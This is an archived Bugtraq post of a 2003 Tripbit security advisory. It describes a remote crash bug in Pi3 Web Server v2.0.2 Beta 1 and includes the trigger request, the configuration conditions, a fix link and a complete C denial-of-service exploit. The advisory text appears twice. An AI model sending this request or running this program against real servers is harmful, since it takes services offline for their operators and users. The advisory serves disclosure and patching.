Bugtraq mailing list archives

Tripbit Advisory TA-2003-05 Buffer Overflow Vulnerability in Pi3 Web Server v2.0.2 Beta 1

From: "Rushjo () tripbit org" <rushjo () tripbit org>
Date: Mon, 02 Jun 2003 22:40:18 +0200

Tripbit Advisory TA-2003-05 Buffer Overflow Vulnerability in Pi3 WebServer v2.0.2 Beta 1

=========================================================================================





PROGRAM: Pi3 Web Server
HOMEPAGE: http://pi3web.sourceforge.net/pi3web/
VULNERABLE VERSIONS: v2.0.2 Beta 1
RISK: Medium/High
IMPACT: Denial of Service
RELEASE DATE: 2003-05





========================================================================================
TABLE OF CONTENTS
========================================================================================

1............................................................................DESCRIPTION2................................................................................DETAILS3................................................................................EXPLOIT4..............................................................................SOLUTIONS5..........................................................................VENDORSTATUS6................................................................................CREDITS7.............................................................................DISCLAIMER8.............................................................................REFERENCES

9...............................................................................FEEDBACK





1. DESCRIPTION
========================================================================================

The Pi3 Component architecture is a high performance server based suiteof libraries toenable rapid development of server software. One of the componentsavailable for thisarchitecture is Pi3Web. A buffer overflow vulnerability in the productallows remote

attackers to crash the server by issuing a malformed request.





2. DETAILS
========================================================================================

The problem lies in the Directory Index with "Name" as Hyperlink Column.If followingconfiguration is in use, allow this a remote attacker to crash theserver by issuing

this malformed request:


http://host.com/</?SortName=A

The administrator of the server must use one of the following directorylayouts:


General Layout
--------------
[*] HTML index with tables

or

[*] HTML index with fixed font

or

[*] Generic HTML index

For this vulnerability must this two options set:

Columns
-------
[*] Name - must be activated!


Sorting
-------
[*] Column title as hyperlink - must be activated!





3. EXPLOIT
========================================================================================


/*********************************************************************
*
*     Denial of Service Attack against Pi3 Web Server v2.0.2 05/2003

**

*    Tripbit Security Development
*    ----------------------------
*
*    Author: posidron
*
*    Contact
*    [-] Mail: posidron () tripbit org
*    [-] Web: http://www.tripbit.org
*    [-] Forum: http://www.tripbit.org/wbboard
*       [-] IRC: irc.euirc.net 6667 #tripbit
*
*
*    Greets: Rushjo, Tec, STeFaN, Havoc][, MisterMoe
*     Special thx: PeaceTreaty (securecrew.net)
*
*********************************************************************/

#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

int main(int argc, char *argv[])
{
   int port, sockfd;
   struct sockaddr_in server;
   struct hostent *host;

char sendstring[1024];strcpy(sendstring,"GET /</?SortName=A HTTP/1.0\n\n");


   if(argc < 3)
   {
       printf("Usage: %s [target] <port>\n",argv[0]);
       exit(0);
   }

port = atoi(argv[2]);host = gethostbyname(argv[1]);

   if(host == NULL)
   {
       printf("Connection failed!...\n");
       exit(0);
   }

server.sin_family = AF_INET;

   server.sin_port = htons(port);
   server.sin_addr.s_addr = inet_addr((char*)argv[1]);

if( (sockfd = socket(AF_INET,SOCK_STREAM,0)) < 0)

   {
       printf("Can't start socket()!\n");
       exit(0);
   }

if(connect(sockfd,(struct sockaddr*)&server,sizeof(server)) < 0)

   {
       printf("Can't connect!\n");
       exit(0);
   }

printf("Dos against Pi3 Web Server v2.0.2\n");write(sockfd,sendstring,strlen(sendstring));printf("Attack done!...\n");close(sockfd);

}





4. SOLUTIONS
========================================================================================


Download the new Version, it is available on Sourceforge.

http://osdn.dl.sourceforge.net/sourceforge/pi3web/Pi3Web-x86Win32-2_0_2-beta2.exe






5. VENDOR STATUS
========================================================================================

The vendor has reportedly been notified and fix the bug in Version 2.0.2Beta 1.






6. CREDITS
========================================================================================


Rushjo, Tec, MisterMoe, Havoc][, PeaceTreaty, STeFaN





7. DISLAIMER
========================================================================================

The information within this paper may change without notice. Use of thisinformationconstitutes acceptance for use in an AS IS condition. There are NOwarranties withregard to this information. In no event shall the author be liable forany damageswhatsoever arising out of or in connection with the use or spread ofthis information.

Any use of this information is at the user's own risk.





8. RFERENCES
========================================================================================


http://www.tripbit.org





9. FEEDBACK
========================================================================================


Please send suggestions, updates, and comments to:


Tripbit Security Advisory

Site: http://www.tripbit.org

Mail: posidron () tripbit org
     rushjo () tripbit org
     tec () tripbit org

Tripbit Advisory TA-2003-05 Buffer Overflow Vulnerability in Pi3 Web Server v2.0.2 Beta 1
=========================================================================================





PROGRAM: Pi3 Web Server
HOMEPAGE: http://pi3web.sourceforge.net/pi3web/
VULNERABLE VERSIONS: v2.0.2 Beta 1
RISK: Medium/High
IMPACT: Denial of Service
RELEASE DATE: 2003-05





========================================================================================
TABLE OF CONTENTS 
========================================================================================

1............................................................................DESCRIPTION 
2................................................................................DETAILS 
3................................................................................EXPLOIT 
4..............................................................................SOLUTIONS 
5..........................................................................VENDOR STATUS 
6................................................................................CREDITS 
7.............................................................................DISCLAIMER 
8.............................................................................REFERENCES 
9...............................................................................FEEDBACK





1. DESCRIPTION 
========================================================================================


The Pi3 Component architecture is a high performance server based suite of libraries to 
enable rapid development of server software. One of the components available for this 
architecture is Pi3Web. A buffer overflow vulnerability in the product allows remote 
attackers to crash the server by issuing a malformed request.





2. DETAILS
========================================================================================


The problem lies in the Directory Index with "Name" as Hyperlink Column. If following 
configuration is in use, allow this a remote attacker to crash the server by issuing 
this malformed request:


http://host.com/</?SortName=A 



The administrator of the server must use one of the following directory layouts:

General Layout
--------------
[*] HTML index with tables

or

[*] HTML index with fixed font

or

[*] Generic HTML index



For this vulnerability must this two options set:  

Columns
-------
[*] Name - must be activated!


Sorting
-------
[*] Column title as hyperlink - must be activated!





3. EXPLOIT 
========================================================================================


/*********************************************************************
*
*       Denial of Service Attack against Pi3 Web Server v2.0.2 05/2003
*       
*
*       Tripbit Security Development
*       ----------------------------
*
*       Author: posidron
*
*       Contact
*       [-] Mail: posidron () tripbit org
*       [-] Web: http://www.tripbit.org
*       [-] Forum: http://www.tripbit.org/wbboard
*       [-] IRC: irc.euirc.net 6667 #tripbit
*
*
*       Greets: Rushjo, Tec, STeFaN, Havoc][, MisterMoe
*       Special thx: PeaceTreaty (securecrew.net)
*
*********************************************************************/

#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

int main(int argc, char *argv[])
{
        int port, sockfd;
        struct sockaddr_in server;
        struct hostent *host;
        
        char sendstring[1024];
        
        strcpy(sendstring,"GET /</?SortName=A HTTP/1.0\n\n");

        if(argc < 3)
        {
                printf("Usage: %s [target] <port>\n",argv[0]);
                exit(0);
        }
        
        port = atoi(argv[2]);
        
        host = gethostbyname(argv[1]);
        if(host == NULL)
        {
                printf("Connection failed!...\n");
                exit(0);
        }
        
        server.sin_family = AF_INET;
        server.sin_port = htons(port);
        server.sin_addr.s_addr = inet_addr((char*)argv[1]);
        
        if( (sockfd = socket(AF_INET,SOCK_STREAM,0)) < 0)
        {
                printf("Can't start socket()!\n");
                exit(0);
        }
        
        if(connect(sockfd,(struct sockaddr*)&server,sizeof(server)) < 0)
        {
                printf("Can't connect!\n");
                exit(0);
        }
        
        printf("Dos against Pi3 Web Server v2.0.2\n");
        
        write(sockfd,sendstring,strlen(sendstring));
        
        printf("Attack done!...\n");
        
        close(sockfd);
}





4. SOLUTIONS
========================================================================================


Download the new Version, it is available on Sourceforge.

http://osdn.dl.sourceforge.net/sourceforge/pi3web/Pi3Web-x86Win32-2_0_2-beta2.exe 





5. VENDOR STATUS
========================================================================================


The vendor has reportedly been notified and fix the bug in Version 2.0.2 Beta 1.





6. CREDITS
========================================================================================


Rushjo, Tec, MisterMoe, Havoc][, PeaceTreaty, STeFaN





7. DISLAIMER 
========================================================================================


The information within this paper may change without notice. Use of this information 
constitutes acceptance for use in an AS IS condition. There are NO warranties with 
regard to this information. In no event shall the author be liable for any damages 
whatsoever arising out of or in connection with the use or spread of this information. 
Any use of this information is at the user's own risk. 





8. RFERENCES
========================================================================================


http://www.tripbit.org





9. FEEDBACK 
========================================================================================


Please send suggestions, updates, and comments to: 


Tripbit Security Advisory

Site: http://www.tripbit.org

Mail: posidron () tripbit org
      rushjo () tripbit org
      tec () tripbit org

Current thread:

Tripbit Advisory TA-2003-05 Buffer Overflow Vulnerability in Pi3 Web Server v2.0.2 Beta 1 Rushjo () tripbit org (Jun 03)